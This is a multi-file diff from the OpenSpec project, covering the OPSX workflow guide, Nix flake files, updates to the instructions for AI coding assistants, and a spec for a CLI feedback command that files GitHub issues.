- Implementation reveals the design was slightly off
|
||||
|
||||
**Scope narrows**
|
||||
- You realize full scope is too big, want to ship MVP first
|
||||
- "Add dark mode" → "Add dark mode toggle (system preference in v2)"
|
||||
|
||||
**Learning-driven corrections**
|
||||
- Codebase isn't structured how you thought
|
||||
- A dependency doesn't work as expected
|
||||
- "Use CSS variables" → "Use Tailwind's dark: prefix instead"
|
||||
|
||||
### Start a New Change When:
|
||||
|
||||
**Intent fundamentally changed**
|
||||
- The problem itself is different now
|
||||
- "Add dark mode" → "Add comprehensive theme system with custom colors, fonts, spacing"
|
||||
|
||||
**Scope exploded**
|
||||
- Change grew so much it's essentially different work
|
||||
- Original proposal would be unrecognizable after updates
|
||||
- "Fix login bug" → "Rewrite auth system"
|
||||
|
||||
**Original is completable**
|
||||
- The original change can be marked "done"
|
||||
- New work stands alone, not a refinement
|
||||
- Complete "Add dark mode MVP" → Archive → New change "Enhance dark mode"
|
||||
|
||||
### The Heuristics
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────┐
|
||||
│ Is this the same work? │
|
||||
└──────────────┬──────────────────────┘
|
||||
│
|
||||
┌──────────────────┼──────────────────┐
|
||||
│ │ │
|
||||
▼ ▼ ▼
|
||||
Same intent? >50% overlap? Can original
|
||||
Same problem? Same scope? be "done" without
|
||||
│ │ these changes?
|
||||
│ │ │
|
||||
┌────────┴────────┐ ┌──────┴──────┐ ┌───────┴───────┐
|
||||
│ │ │ │ │ │
|
||||
YES NO YES NO NO YES
|
||||
│ │ │ │ │ │
|
||||
▼ ▼ ▼ ▼ ▼ ▼
|
||||
UPDATE NEW UPDATE NEW UPDATE NEW
|
||||
```
|
||||
|
||||
| Test | Update | New Change |
|
||||
|------|--------|------------|
|
||||
| **Identity** | "Same thing, refined" | "Different work" |
|
||||
| **Scope overlap** | >50% overlaps | <50% overlaps |
|
||||
| **Completion** | Can't be "done" without changes | Can finish original, new work stands alone |
|
||||
| **Story** | Update chain tells coherent story | Patches would confuse more than clarify |
|
||||
|
||||
### The Principle
|
||||
|
||||
> **Update preserves context. New change provides clarity.**
|
||||
>
|
||||
> Choose update when the history of your thinking is valuable.
|
||||
> Choose new when starting fresh would be clearer than patching.
|
||||
|
||||
Think of it like git branches:
|
||||
- Keep committing while working on the same feature
|
||||
- Start a new branch when it's genuinely new work
|
||||
- Sometimes merge a partial feature and start fresh for phase 2
|
||||
|
||||
## What's Different?
|
||||
|
||||
| | Standard (`/openspec:proposal`) | Experimental (`/opsx:*`) |
|
||||
|---|---|---|
|
||||
| **Structure** | One big proposal document | Discrete artifacts with dependencies |
|
||||
| **Workflow** | Linear phases: plan → implement → archive | Fluid actions — do anything anytime |
|
||||
| **Iteration** | Awkward to go back | Update artifacts as you learn |
|
||||
| **Customization** | Fixed structure | Schema-driven (define your own artifacts) |
|
||||
|
||||
**The key insight:** work isn't linear. OPSX stops pretending it is.
|
||||
|
||||
## Architecture Deep Dive
|
||||
|
||||
This section explains how OPSX works under the hood and how it compares to the standard workflow.
|
||||
|
||||
### Philosophy: Phases vs Actions
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────────────────────┐
|
||||
│ STANDARD WORKFLOW │
|
||||
│ (Phase-Locked, All-or-Nothing) │
|
||||
├─────────────────────────────────────────────────────────────────────────────┤
|
||||
│ │
|
||||
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
|
||||
│ │ PLANNING │ ───► │ IMPLEMENTING │ ───► │ ARCHIVING │ │
|
||||
│ │ PHASE │ │ PHASE │ │ PHASE │ │
|
||||
│ └──────────────┘ └──────────────┘ └──────────────┘ │
|
||||
│ │ │ │ │
|
||||
│ ▼ ▼ ▼ │
|
||||
│ /openspec:proposal /openspec:apply /openspec:archive │
|
||||
│ │
|
||||
│ • Creates ALL artifacts at once │
|
||||
│ • Can't go back to update specs during implementation │
|
||||
│ • Phase gates enforce linear progression │
|
||||
│ │
|
||||
└─────────────────────────────────────────────────────────────────────────────┘
|
||||
|
||||
|
||||
┌─────────────────────────────────────────────────────────────────────────────┐
|
||||
│ OPSX WORKFLOW │
|
||||
│ (Fluid Actions, Iterative) │
|
||||
├─────────────────────────────────────────────────────────────────────────────┤
|
||||
│ │
|
||||
│ ┌────────────────────────────────────────────┐ │
|
||||
│ │ ACTIONS (not phases) │ │
|
||||
│ │ │ │
|
||||
│ │ new ◄──► continue ◄──► apply ◄──► sync │ │
|
||||
│ │ │ │ │ │ │ │
|
||||
│ │ └──────────┴───────────┴──────────┘ │ │
|
||||
│ │ any order │ │
|
||||
│ └────────────────────────────────────────────┘ │
|
||||
│ │
|
||||
│ • Create artifacts one at a time OR fast-forward │
|
||||
│ • Update specs/design/tasks during implementation │
|
||||
│ • Dependencies enable progress, phases don't exist │
|
||||
│ │
|
||||
└─────────────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### Component Architecture
|
||||
|
||||
**Standard workflow** uses hardcoded templates in TypeScript:
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────────────────────┐
|
||||
│ STANDARD WORKFLOW COMPONENTS │
|
||||
├─────────────────────────────────────────────────────────────────────────────┤
|
||||
│ │
|
||||
│ Hardcoded Templates (TypeScript strings) │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ Configurators (18+ classes, one per editor) │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ Generated Command Files (.claude/commands/openspec/*.md) │
|
||||
│ │
|
||||
│ • Fixed structure, no artifact awareness │
|
||||
│ • Change requires code modification + rebuild │
|
||||
│ │
|
||||
└─────────────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
**OPSX** uses external schemas and a dependency graph engine:
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────────────────────┐
|
||||
│ OPSX COMPONENTS │
|
||||
├─────────────────────────────────────────────────────────────────────────────┤
|
||||
│ │
|
||||
│ Schema Definitions (YAML) │
|
||||
│ ┌─────────────────────────────────────────────────────────────────────┐ │
|
||||
│ │ name: spec-driven │ │
|
||||
│ │ artifacts: │ │
|
||||
│ │ - id: proposal │ │
|
||||
│ │ generates: proposal.md │ │
|
||||
│ │ requires: [] ◄── Dependencies │ │
|
||||
│ │ - id: specs │ │
|
||||
│ │ generates: specs/**/*.md ◄── Glob patterns │ │
|
||||
│ │ requires: [proposal] ◄── Enables after proposal │ │
|
||||
│ └─────────────────────────────────────────────────────────────────────┘ │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ Artifact Graph Engine │
|
||||
│ ┌─────────────────────────────────────────────────────────────────────┐ │
|
||||
│ │ • Topological sort (dependency ordering) │ │
|
||||
│ │ • State detection (filesystem existence) │ │
|
||||
│ │ • Rich instruction generation (templates + context) │ │
|
||||
│ └─────────────────────────────────────────────────────────────────────┘ │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ Skill Files (.claude/skills/openspec-*/SKILL.md) │
|
||||
│ │
|
||||
│ • Cross-editor compatible (Claude Code, Cursor, Windsurf) │
|
||||
│ • Skills query CLI for structured data │
|
||||
│ • Fully customizable via schema files │
|
||||
│ │
|
||||
└─────────────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### Dependency Graph Model
|
||||
|
||||
Artifacts form a directed acyclic graph (DAG). Dependencies are **enablers**, not gates:
|
||||
|
||||
```
|
||||
proposal
|
||||
(root node)
|
||||
│
|
||||
┌─────────────┴─────────────┐
|
||||
│ │
|
||||
▼ ▼
|
||||
specs design
|
||||
(requires: (requires:
|
||||
proposal) proposal)
|
||||
│ │
|
||||
└─────────────┬─────────────┘
|
||||
│
|
||||
▼
|
||||
tasks
|
||||
(requires:
|
||||
specs, design)
|
||||
│
|
||||
▼
|
||||
┌──────────────┐
|
||||
│ APPLY PHASE │
|
||||
│ (requires: │
|
||||
│ tasks) │
|
||||
└──────────────┘
|
||||
```
|
||||
|
||||
**State transitions:**
|
||||
|
||||
```
|
||||
BLOCKED ────────────────► READY ────────────────► DONE
|
||||
│ │ │
|
||||
Missing All deps File exists
|
||||
dependencies are DONE on filesystem
|
||||
```
|
||||
|
||||
### Information Flow
|
||||
|
||||
**Standard workflow** — agent receives static instructions:
|
||||
|
||||
```
|
||||
User: "/openspec:proposal"
|
||||
│
|
||||
▼
|
||||
┌─────────────────────────────────────────┐
|
||||
│ Static instructions: │
|
||||
│ • Create proposal.md │
|
||||
│ • Create tasks.md │
|
||||
│ • Create design.md │
|
||||
│ • Create specs/*.md │
|
||||
│ │
|
||||
│ No awareness of what exists or │
|
||||
│ dependencies between artifacts │
|
||||
└─────────────────────────────────────────┘
|
||||
│
|
||||
▼
|
||||
Agent creates ALL artifacts in one go
|
||||
```
|
||||
|
||||
**OPSX** — agent queries for rich context:
|
||||
|
||||
```
|
||||
User: "/opsx:continue"
|
||||
│
|
||||
▼
|
||||
┌──────────────────────────────────────────────────────────────────────────┐
|
||||
│ Step 1: Query current state │
|
||||
│ ┌────────────────────────────────────────────────────────────────────┐ │
|
||||
│ │ $ openspec status --change "add-auth" --json │ │
|
||||
│ │ │ │
|
||||
│ │ { │ │
|
||||
│ │ "artifacts": [ │ │
|
||||
│ │ {"id": "proposal", "status": "done"}, │ │
|
||||
│ │ {"id": "specs", "status": "ready"}, ◄── First ready │ │
|
||||
│ │ {"id": "design", "status": "ready"}, │ │
|
||||
│ │ {"id": "tasks", "status": "blocked", "missingDeps": ["specs"]}│ │
|
||||
│ │ ] │ │
|
||||
│ │ } │ │
|
||||
│ └────────────────────────────────────────────────────────────────────┘ │
|
||||
│ │
|
||||
│ Step 2: Get rich instructions for ready artifact │
|
||||
│ ┌────────────────────────────────────────────────────────────────────┐ │
|
||||
│ │ $ openspec instructions specs --change "add-auth" --json │ │
|
||||
│ │ │ │
|
||||
│ │ { │ │
|
||||
│ │ "template": "# Specification\n\n## ADDED Requirements...", │ │
|
||||
│ │ "dependencies": [{"id": "proposal", "path": "...", "done": true}│ │
|
||||
│ │ "unlocks": ["tasks"] │ │
|
||||
│ │ } │ │
|
||||
│ └────────────────────────────────────────────────────────────────────┘ │
|
||||
│ │
|
||||
│ Step 3: Read dependencies → Create ONE artifact → Show what's unlocked │
|
||||
└──────────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### Iteration Model
|
||||
|
||||
**Standard workflow** — awkward to iterate:
|
||||
|
||||
```
|
||||
┌─────────┐ ┌─────────┐ ┌─────────┐
|
||||
│/proposal│ ──► │ /apply │ ──► │/archive │
|
||||
└─────────┘ └─────────┘ └─────────┘
|
||||
│ │
|
||||
│ ├── "Wait, the design is wrong"
|
||||
│ │
|
||||
│ ├── Options:
|
||||
│ │ • Edit files manually (breaks context)
|
||||
│ │ • Abandon and start over
|
||||
│ │ • Push through and fix later
|
||||
│ │
|
||||
│ └── No official "go back" mechanism
|
||||
│
|
||||
└── Creates ALL artifacts at once
|
||||
```
|
||||
|
||||
**OPSX** — natural iteration:
|
||||
|
||||
```
|
||||
/opsx:new ───► /opsx:continue ───► /opsx:apply ───► /opsx:archive
|
||||
│ │ │
|
||||
│ │ ├── "The design is wrong"
|
||||
│ │ │
|
||||
│ │ ▼
|
||||
│ │ Just edit design.md
|
||||
│ │ and continue!
|
||||
│ │ │
|
||||
│ │ ▼
|
||||
│ │ /opsx:apply picks up
|
||||
│ │ where you left off
|
||||
│ │
|
||||
│ └── Creates ONE artifact, shows what's unlocked
|
||||
│
|
||||
└── Scaffolds change, waits for direction
|
||||
```
|
||||
|
||||
### Custom Schemas
|
||||
|
||||
Create your own workflow by adding a schema to `~/.local/share/openspec/schemas/`:
|
||||
|
||||
```
|
||||
~/.local/share/openspec/schemas/research-first/
|
||||
├── schema.yaml
|
||||
└── templates/
|
||||
├── research.md
|
||||
├── proposal.md
|
||||
└── tasks.md
|
||||
|
||||
schema.yaml:
|
||||
┌─────────────────────────────────────────────────────────────────┐
|
||||
│ name: research-first │
|
||||
│ artifacts: │
|
||||
│ - id: research # Added before proposal │
|
||||
│ generates: research.md │
|
||||
│ requires: [] │
|
||||
│ │
|
||||
│ - id: proposal │
|
||||
│ generates: proposal.md │
|
||||
│ requires: [research] # Now depends on research │
|
||||
│ │
|
||||
│ - id: tasks │
|
||||
│ generates: tasks.md │
|
||||
│ requires: [proposal] │
|
||||
└─────────────────────────────────────────────────────────────────┘
|
||||
|
||||
Dependency Graph:
|
||||
|
||||
research ──► proposal ──► tasks
|
||||
```
|
||||
|
||||
### Summary
|
||||
|
||||
| Aspect | Standard | OPSX |
|
||||
|--------|----------|------|
|
||||
| **Templates** | Hardcoded TypeScript | External YAML + Markdown |
|
||||
| **Dependencies** | None (all at once) | DAG with topological sort |
|
||||
| **State** | Phase-based mental model | Filesystem existence |
|
||||
| **Customization** | Edit source, rebuild | Create schema.yaml |
|
||||
| **Iteration** | Phase-locked | Fluid, edit anything |
|
||||
| **Editor Support** | 18+ configurator classes | Single skills directory |
|
||||
|
||||
## Schemas
|
||||
|
||||
Schemas define what artifacts exist and their dependencies. Currently available:
|
||||
|
||||
- **spec-driven** (default): proposal → specs → design → tasks
|
||||
- **tdd**: tests → implementation → docs
|
||||
|
||||
Run `openspec schemas` to see available schemas.
|
||||
|
||||
## Tips
|
||||
|
||||
- Use `/opsx:explore` to think through an idea before committing to a change
|
||||
- `/opsx:ff` when you know what you want, `/opsx:continue` when exploring
|
||||
- During `/opsx:apply`, if something's wrong — fix the artifact, then continue
|
||||
- Tasks track progress via checkboxes in `tasks.md`
|
||||
- Check status anytime: `openspec status --change "name"`
|
||||
|
||||
## Feedback
|
||||
|
||||
This is rough. That's intentional — we're learning what works.
|
||||
|
||||
Found a bug? Have ideas? Join us on [Discord](https://discord.gg/BYjPaKbqMt) or open an issue on [GitHub](https://github.com/Fission-AI/openspec/issues).
|
||||
Generated
+27
@@ -0,0 +1,27 @@
|
||||
{
|
||||
"nodes": {
|
||||
"nixpkgs": {
|
||||
"locked": {
|
||||
"lastModified": 1767640445,
|
||||
"narHash": "sha256-UWYqmD7JFBEDBHWYcqE6s6c77pWdcU/i+bwD6XxMb8A=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "9f0c42f8bc7151b8e7e5840fb3bd454ad850d8c5",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "NixOS",
|
||||
"ref": "nixos-unstable",
|
||||
"repo": "nixpkgs",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"root": {
|
||||
"inputs": {
|
||||
"nixpkgs": "nixpkgs"
|
||||
}
|
||||
}
|
||||
},
|
||||
"root": "root",
|
||||
"version": 7
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
{
|
||||
description = "OpenSpec - AI-native system for spec-driven development";
|
||||
|
||||
inputs = {
|
||||
nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable";
|
||||
};
|
||||
|
||||
outputs = { self, nixpkgs }:
|
||||
let
|
||||
supportedSystems = [ "x86_64-linux" "aarch64-linux" "x86_64-darwin" "aarch64-darwin" ];
|
||||
|
||||
forAllSystems = f: nixpkgs.lib.genAttrs supportedSystems (system: f system);
|
||||
in
|
||||
{
|
||||
packages = forAllSystems (system:
|
||||
let
|
||||
pkgs = nixpkgs.legacyPackages.${system};
|
||||
in
|
||||
{
|
||||
default = pkgs.stdenv.mkDerivation (finalAttrs: {
|
||||
pname = "openspec";
|
||||
version = "0.20.0";
|
||||
|
||||
src = ./.;
|
||||
|
||||
pnpmDeps = pkgs.fetchPnpmDeps {
|
||||
inherit (finalAttrs) pname version src;
|
||||
pnpm = pkgs.pnpm_9;
|
||||
fetcherVersion = 3;
|
||||
hash = "sha256-m/7IdY1ou9ljjYAcx3W8AyEJvIZfCBWIWxproQ/INPA=";
|
||||
};
|
||||
|
||||
nativeBuildInputs = with pkgs; [
|
||||
nodejs_20
|
||||
npmHooks.npmInstallHook
|
||||
pnpmConfigHook
|
||||
pnpm_9
|
||||
];
|
||||
|
||||
buildPhase = ''
|
||||
runHook preBuild
|
||||
|
||||
pnpm run build
|
||||
|
||||
runHook postBuild
|
||||
'';
|
||||
|
||||
dontNpmPrune = true;
|
||||
|
||||
meta = with pkgs.lib; {
|
||||
description = "AI-native system for spec-driven development";
|
||||
homepage = "https://github.com/Fission-AI/OpenSpec";
|
||||
license = licenses.mit;
|
||||
maintainers = [ ];
|
||||
mainProgram = "openspec";
|
||||
};
|
||||
});
|
||||
});
|
||||
|
||||
apps = forAllSystems (system: {
|
||||
default = {
|
||||
type = "app";
|
||||
program = "${self.packages.${system}.default}/bin/openspec";
|
||||
};
|
||||
});
|
||||
|
||||
devShells = forAllSystems (system:
|
||||
let
|
||||
pkgs = nixpkgs.legacyPackages.${system};
|
||||
in
|
||||
{
|
||||
default = pkgs.mkShell {
|
||||
buildInputs = with pkgs; [
|
||||
nodejs_20
|
||||
pnpm_9
|
||||
];
|
||||
|
||||
shellHook = ''
|
||||
echo "OpenSpec development environment"
|
||||
echo "Node version: $(node --version)"
|
||||
echo "pnpm version: $(pnpm --version)"
|
||||
echo "Run 'pnpm install' to install dependencies"
|
||||
'';
|
||||
};
|
||||
});
|
||||
};
|
||||
}
|
||||
+9
-7
@@ -9,7 +9,7 @@ Instructions for AI coding assistants using OpenSpec for spec-driven development
|
||||
- Pick a unique `change-id`: kebab-case, verb-led (`add-`, `update-`, `remove-`, `refactor-`)
|
||||
- Scaffold: `proposal.md`, `tasks.md`, `design.md` (only if needed), and delta specs per affected capability
|
||||
- Write deltas: use `## ADDED|MODIFIED|REMOVED|RENAMED Requirements`; include at least one `#### Scenario:` per requirement
|
||||
- Validate: `openspec validate [change-id] --strict` and fix issues
|
||||
- Validate: `openspec validate [change-id] --strict --no-interactive` and fix issues
|
||||
- Request approval: Do not start implementation until proposal is approved
|
||||
|
||||
## Three-Stage Workflow
|
||||
@@ -44,7 +44,7 @@ Skip proposal for:
|
||||
1. Review `openspec/project.md`, `openspec list`, and `openspec list --specs` to understand current context.
|
||||
2. Choose a unique verb-led `change-id` and scaffold `proposal.md`, `tasks.md`, optional `design.md`, and spec deltas under `openspec/changes/<id>/`.
|
||||
3. Draft spec deltas using `## ADDED|MODIFIED|REMOVED Requirements` with at least one `#### Scenario:` per requirement.
|
||||
4. Run `openspec validate <id> --strict` and resolve any issues before sharing the proposal.
|
||||
4. Run `openspec validate <id> --strict --no-interactive` and resolve any issues before sharing the proposal.
|
||||
|
||||
### Stage 2: Implementing Changes
|
||||
Track these steps as TODOs and complete them one by one.
|
||||
@@ -61,7 +61,7 @@ After deployment, create separate PR to:
|
||||
- Move `changes/[name]/` → `changes/archive/YYYY-MM-DD-[name]/`
|
||||
- Update `specs/` if capabilities changed
|
||||
- Use `openspec archive <change-id> --skip-specs --yes` for tooling-only changes (always pass the change ID explicitly)
|
||||
- Run `openspec validate --strict` to confirm the archived change passes checks
|
||||
- Run `openspec validate --strict --no-interactive` to confirm the archived change passes checks
|
||||
|
||||
## Before Any Task
|
||||
|
||||
@@ -108,7 +108,7 @@ openspec validate # Bulk validation mode
|
||||
|
||||
# Debugging
|
||||
openspec show [change] --json --deltas-only
|
||||
openspec validate [change] --strict
|
||||
openspec validate [change] --strict --no-interactive
|
||||
```
|
||||
|
||||
### Command Flags
|
||||
@@ -160,6 +160,8 @@ New request?
|
||||
|
||||
2. **Write proposal.md:**
|
||||
```markdown
|
||||
# Change: [Brief description of change]
|
||||
|
||||
## Why
|
||||
[1-2 sentences on problem/opportunity]
|
||||
|
||||
@@ -304,7 +306,7 @@ Example for RENAMED:
|
||||
|
||||
```bash
|
||||
# Always use strict mode for comprehensive checks
|
||||
openspec validate [change] --strict
|
||||
openspec validate [change] --strict --no-interactive
|
||||
|
||||
# Debug delta parsing
|
||||
openspec show [change] --json | jq '.deltas'
|
||||
@@ -341,7 +343,7 @@ Users MUST provide a second factor during login.
|
||||
EOF
|
||||
|
||||
# 4) Validate
|
||||
openspec validate $CHANGE --strict
|
||||
openspec validate $CHANGE --strict --no-interactive
|
||||
```
|
||||
|
||||
## Multi-Capability Example
|
||||
@@ -447,7 +449,7 @@ Only add complexity with:
|
||||
```bash
|
||||
openspec list # What's in progress?
|
||||
openspec show [item] # View details
|
||||
openspec validate --strict # Is it correct?
|
||||
openspec validate --strict --no-interactive # Is it correct?
|
||||
openspec archive <change-id> [--yes|-y] # Mark complete (add --yes for automation)
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
## Why
|
||||
|
||||
Users and agents need a simple way to submit feedback about OpenSpec directly from the CLI. Currently there's no mechanism to collect user feedback, feature requests, or bug reports in a way that enables follow-up conversation. Using GitHub Issues allows us to track feedback, prevent spam via GitHub auth, and enables outreach to users.
|
||||
|
||||
## What Changes
|
||||
|
||||
- Add `openspec feedback <message>` CLI command
|
||||
- Leverage `gh` CLI for GitHub authentication and issue creation
|
||||
- Add `/feedback` skill for agent-assisted feedback with context enrichment
|
||||
- Ensure cross-platform compatibility (macOS, Linux, Windows)
|
||||
|
||||
## Impact
|
||||
|
||||
- Affected specs: New `cli-feedback` capability
|
||||
- Affected code:
|
||||
- `src/cli/index.ts` - Register feedback command
|
||||
- `src/commands/feedback.ts` - Command implementation using `gh` CLI
|
||||
- `src/core/templates/skill-templates.ts` - Feedback skill template
|
||||
- `src/core/completions/command-registry.ts` - Shell completions
|
||||
- External dependency: Requires `gh` CLI installed and authenticated
|
||||
@@ -0,0 +1,188 @@
|
||||
## ADDED Requirements
|
||||
|
||||
### Requirement: Feedback command
|
||||
|
||||
The system SHALL provide an `openspec feedback` command that creates a GitHub Issue in the openspec repository using the `gh` CLI. The system SHALL use `execFileSync` with argument arrays to prevent shell injection vulnerabilities.
|
||||
|
||||
#### Scenario: Simple feedback submission
|
||||
|
||||
- **WHEN** user executes `openspec feedback "Great tool!"`
|
||||
- **THEN** the system executes `gh issue create` with title "Feedback: Great tool!"
|
||||
- **AND** the issue is created in the openspec repository
|
||||
- **AND** the issue has the `feedback` label
|
||||
- **AND** the system displays the created issue URL
|
||||
|
||||
#### Scenario: Safe command execution
|
||||
|
||||
- **WHEN** submitting feedback via `gh` CLI
|
||||
- **THEN** the system uses `execFileSync` with separate arguments array
|
||||
- **AND** user input is NOT passed through a shell
|
||||
- **AND** shell metacharacters (quotes, backticks, $(), etc.) are treated as literal text
|
||||
|
||||
#### Scenario: Feedback with body
|
||||
|
||||
- **WHEN** user executes `openspec feedback "Title here" --body "Detailed description..."`
|
||||
- **THEN** the system creates a GitHub Issue with the specified title
|
||||
- **AND** the issue body contains the detailed description
|
||||
- **AND** the issue body includes metadata (OpenSpec version, platform, timestamp)
|
||||
|
||||
### Requirement: GitHub CLI dependency
|
||||
|
||||
The system SHALL use `gh` CLI for automatic feedback submission when available, and provide a manual submission fallback when `gh` is not installed or not authenticated. The system SHALL use platform-appropriate commands to detect `gh` CLI availability.
|
||||
|
||||
#### Scenario: Missing gh CLI with fallback
|
||||
|
||||
- **WHEN** user runs `openspec feedback "message"`
|
||||
- **AND** `gh` CLI is not installed (not found in PATH)
|
||||
- **THEN** the system displays warning: "GitHub CLI not found. Manual submission required."
|
||||
- **AND** outputs structured feedback content with delimiters:
|
||||
- "--- FORMATTED FEEDBACK ---"
|
||||
- Title line
|
||||
- Labels line
|
||||
- Body content with metadata
|
||||
- "--- END FEEDBACK ---"
|
||||
- **AND** displays pre-filled GitHub issue URL for manual submission
|
||||
- **AND** exits with zero code (successful fallback)
|
||||
|
||||
#### Scenario: Cross-platform gh CLI detection on Unix
|
||||
|
||||
- **WHEN** system is running on macOS or Linux (platform is 'darwin' or 'linux')
|
||||
- **AND** checking if `gh` CLI is installed
|
||||
- **THEN** the system executes `which gh` command
|
||||
|
||||
#### Scenario: Cross-platform gh CLI detection on Windows
|
||||
|
||||
- **WHEN** system is running on Windows (platform is 'win32')
|
||||
- **AND** checking if `gh` CLI is installed
|
||||
- **THEN** the system executes `where gh` command
|
||||
|
||||
#### Scenario: Unauthenticated gh CLI with fallback
|
||||
|
||||
- **WHEN** user runs `openspec feedback "message"`
|
||||
- **AND** `gh` CLI is installed but not authenticated
|
||||
- **THEN** the system displays warning: "GitHub authentication required. Manual submission required."
|
||||
- **AND** outputs structured feedback content (same format as missing gh CLI scenario)
|
||||
- **AND** displays pre-filled GitHub issue URL for manual submission
|
||||
- **AND** displays authentication instructions: "To auto-submit in the future: gh auth login"
|
||||
- **AND** exits with zero code (successful fallback)
|
||||
|
||||
#### Scenario: Authenticated gh CLI
|
||||
|
||||
- **WHEN** user runs `openspec feedback "message"`
|
||||
- **AND** `gh auth status` returns success (authenticated)
|
||||
- **THEN** the system proceeds with feedback submission
|
||||
|
||||
### Requirement: Issue metadata
|
||||
|
||||
The system SHALL include relevant metadata in the GitHub Issue body.
|
||||
|
||||
#### Scenario: Standard metadata
|
||||
|
||||
- **WHEN** creating a GitHub Issue for feedback
|
||||
- **THEN** the issue body includes:
|
||||
- OpenSpec CLI version
|
||||
- Platform (darwin, linux, win32)
|
||||
- Submission timestamp
|
||||
- Separator line: "---\nSubmitted via OpenSpec CLI"
|
||||
|
||||
#### Scenario: Windows platform metadata
|
||||
|
||||
- **WHEN** creating a GitHub Issue for feedback on Windows
|
||||
- **THEN** the issue body includes "Platform: win32"
|
||||
- **AND** all platform detection uses Node.js `os.platform()` API
|
||||
|
||||
#### Scenario: No sensitive metadata
|
||||
|
||||
- **WHEN** creating a GitHub Issue for feedback
|
||||
- **THEN** the issue body does NOT include:
|
||||
- File paths from user's system
|
||||
- Project names or directory names
|
||||
- Environment variables
|
||||
- IP addresses
|
||||
|
||||
### Requirement: Feedback always works
|
||||
|
||||
The system SHALL allow feedback submission regardless of telemetry settings.
|
||||
|
||||
#### Scenario: Feedback with telemetry disabled
|
||||
|
||||
- **WHEN** user has disabled telemetry via `OPENSPEC_TELEMETRY=0`
|
||||
- **AND** user runs `openspec feedback "message"`
|
||||
- **THEN** the feedback is still submitted via `gh` CLI
|
||||
- **AND** telemetry events are not sent
|
||||
|
||||
#### Scenario: Feedback in CI environment
|
||||
|
||||
- **WHEN** `CI=true` is set in the environment
|
||||
- **AND** user runs `openspec feedback "message"`
|
||||
- **THEN** the feedback submission proceeds normally (if `gh` is available and authenticated)
|
||||
|
||||
### Requirement: Error handling
|
||||
|
||||
The system SHALL handle feedback submission errors gracefully.
|
||||
|
||||
#### Scenario: gh CLI execution failure
|
||||
|
||||
- **WHEN** `gh issue create` command fails
|
||||
- **THEN** the system displays the error output from `gh` CLI
|
||||
- **AND** exits with the same exit code as `gh`
|
||||
|
||||
#### Scenario: Network failure
|
||||
|
||||
- **WHEN** `gh` CLI reports network connectivity issues
|
||||
- **THEN** the system displays the error message from `gh`
|
||||
- **AND** suggests checking network connectivity
|
||||
- **AND** exits with non-zero code
|
||||
|
||||
### Requirement: Feedback skill for agents
|
||||
|
||||
The system SHALL provide a `/feedback` skill that guides agents through collecting and submitting user feedback.
|
||||
|
||||
#### Scenario: Agent-initiated feedback
|
||||
|
||||
- **WHEN** user invokes `/feedback` in an agent conversation
|
||||
- **THEN** the agent gathers context from the conversation
|
||||
- **AND** drafts a feedback issue with enriched content
|
||||
- **AND** anonymizes sensitive information
|
||||
- **AND** presents the draft to the user for approval
|
||||
- **AND** submits via `openspec feedback` command on user confirmation
|
||||
|
||||
#### Scenario: Context enrichment
|
||||
|
||||
- **WHEN** agent drafts feedback
|
||||
- **THEN** the agent includes relevant context such as:
|
||||
- What task was being performed
|
||||
- What worked well or poorly
|
||||
- Specific friction points or praise
|
||||
|
||||
#### Scenario: Anonymization
|
||||
|
||||
- **WHEN** agent drafts feedback
|
||||
- **THEN** the agent removes or replaces:
|
||||
- File paths with `<path>` or generic descriptions
|
||||
- API keys, tokens, secrets with `<redacted>`
|
||||
- Company/organization names with `<company>`
|
||||
- Personal names with `<user>`
|
||||
- Specific URLs with `<url>` unless public/relevant
|
||||
|
||||
#### Scenario: User confirmation required
|
||||
|
||||
- **WHEN** agent has drafted feedback
|
||||
- **THEN** the agent MUST show the complete draft to the user
|
||||
- **AND** ask for explicit approval before submitting
|
||||
- **AND** allow the user to request modifications
|
||||
- **AND** only submit after user confirms
|
||||
|
||||
### Requirement: Shell completions
|
||||
|
||||
The system SHALL provide shell completions for the feedback command.
|
||||
|
||||
#### Scenario: Command completion
|
||||
|
||||
- **WHEN** user types `openspec fee<TAB>`
|
||||
- **THEN** the shell completes to `openspec feedback`
|
||||
|
||||
#### Scenario: Flag completion
|
||||
|
||||
- **WHEN** user types `openspec feedback "msg" --<TAB>`
|
||||
- **THEN** the shell suggests available flags (`--body`)
|
||||
@@ -0,0 +1,30 @@
|
||||
## 1. Feedback Command
|
||||
|
||||
- [x] 1.1 Create `src/commands/feedback.ts` with command implementation
|
||||
- [x] 1.2 Check `gh` CLI availability using platform-appropriate command (`which` on Unix/macOS, `where` on Windows)
|
||||
- [x] 1.3 Check GitHub auth status with `gh auth status`
|
||||
- [x] 1.4 Execute `gh issue create` with formatted title and body using `execFileSync` to prevent shell injection
|
||||
- [x] 1.5 Display issue URL returned by `gh` CLI
|
||||
- [x] 1.6 Register `feedback <message>` command in `src/cli/index.ts`
|
||||
- [x] 1.7 Ensure cross-platform compatibility (macOS, Linux, Windows)
|
||||
|
||||
## 2. Shell Completions
|
||||
|
||||
- [x] 2.1 Add `feedback` command to command registry
|
||||
- [x] 2.2 Regenerate completion scripts for all shells
|
||||
|
||||
## 3. Feedback Skill
|
||||
|
||||
- [x] 3.1 Create feedback skill template in `skill-templates.ts`
|
||||
- [x] 3.2 Document context gathering workflow
|
||||
- [x] 3.3 Document anonymization rules
|
||||
- [x] 3.4 Document user confirmation flow
|
||||
|
||||
## 4. Testing
|
||||
|
||||
